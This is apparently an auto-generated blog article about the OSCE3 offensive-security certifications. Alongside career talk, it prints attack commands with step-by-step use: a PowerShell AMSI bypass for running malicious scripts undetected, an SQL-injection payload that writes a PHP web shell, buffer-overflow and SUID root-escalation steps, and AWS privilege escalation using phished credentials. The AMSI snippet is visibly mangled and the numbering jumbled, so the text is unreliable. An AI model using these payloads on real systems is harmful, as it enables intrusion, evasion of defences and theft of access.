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Introduction:
Achieving the OSCE3 certification—comprising OSEP, OSWE, and OSED—is a monumental milestone in offensive cybersecurity. Yalguun Tumenkhuu, Mongolia’s first OSCE3 holder, highlights the rigor of Offensive Security’s certifications and their role in shaping elite penetration testers. This article explores the technical depth of these certifications, key offensive security techniques, and how aspiring professionals can prepare.
Learning Objectives:
- Understand the OSCE3 certification path and its components (OSEP, OSWE, OSED).
- Learn advanced exploitation techniques covered in these certifications.
- Gain hands-on experience with real-world offensive security commands and tools.
You Should Know:
1. OSEP: Evasion Techniques and Advanced Exploitation
Command (Windows – AMSI Bypass):
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
What It Does:
This PowerShell snippet bypasses AMSI (Antimalware Scan Interface), a critical Windows defense mechanism.
Step-by-Step Guide:
1. Open PowerShell as an attacker.
2. Execute the command to disable AMSI scanning.
3. Deploy malicious scripts without detection.
Why It Matters:
OSEP teaches evasion tactics—essential for red teamers to bypass modern EDR solutions.
- OSWE: Web Application Exploitation (SQLi to RCE)
Command (SQL Injection to RCE):
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'; --
What It Does:
This PostgreSQL command writes a PHP web shell for remote code execution (RCE).
Step-by-Step Guide:
- Identify a vulnerable input field (e.g., login form).
2. Inject the payload to create `shell.php`.
- Access `http://target.com/shell.php?cmd=id` to execute commands.
Why It Matters:
OSWE focuses on advanced web app hacking, turning SQLi into full system compromise.
3. OSED: Windows Exploit Development (Stack Overflow)
Command (Immunity Debugger – Finding JMP ESP):
!mona jmp -r esp -cp nonull
What It Does:
Locates a `JMP ESP` instruction for EIP control in buffer overflow exploits.
Step-by-Step Guide:
1. Crash the app with a long string.
- Use mona.py in Immunity Debugger to find
JMP ESP. - Overwrite EIP with the address to redirect execution.
Why It Matters:
OSED trains professionals in writing custom exploits for Windows vulnerabilities.
4. OSCP-Level Privilege Escalation (Linux)
Command (SUID Exploit):
find / -perm -4000 2>/dev/null
What It Does:
Lists all SUID binaries that can be abused for privilege escalation.
Step-by-Step Guide:
- Run the command on a compromised Linux host.
2. Identify misconfigured binaries (e.g., `vim`, `find`).
3. Exploit them to gain root access.
Why It Matters:
OSCP and OSCE3 require mastering Linux priv-esc for real-world engagements.
5. Cloud Security: AWS IAM Privilege Escalation
Command (AWS CLI – Check Permissions):
aws iam list-user-policies --user-name target_user
What It Does:
Lists IAM policies attached to a user, identifying overly permissive roles.
Step-by-Step Guide:
1. Obtain AWS credentials via phishing or leaks.
2. Check for weak policies.
3. Escalate privileges via `iam:PutUserPolicy`.
Why It Matters:
Modern red teams must attack cloud environments effectively.
What Undercode Say:
- Key Takeaway 1: OSCE3 certifies mastery in exploit development, web hacking, and evasion—making it a gold standard for offensive security.
- Key Takeaway 2: Hands-on labs and real-world scenarios in OSEP, OSWE, and OSED prepare professionals for advanced cyber warfare.
Analysis:
The demand for offensive security experts is skyrocketing, with organizations prioritizing proactive defense. OSCE3 holders like Yalguun represent the next generation of elite ethical hackers, capable of bypassing cutting-edge security measures.
Prediction:
As AI-driven attacks and cloud exploitation rise, Offensive Security’s certifications will evolve to include AI-powered penetration testing and automated exploit development. Future cybersecurity professionals must adapt to AI vs. AI hacking battles.
Inspired? Start your OSCE3 journey today:
OSCE3 OSEP OSWE OSED OffensiveSecurity
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Yalguun Osce3 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
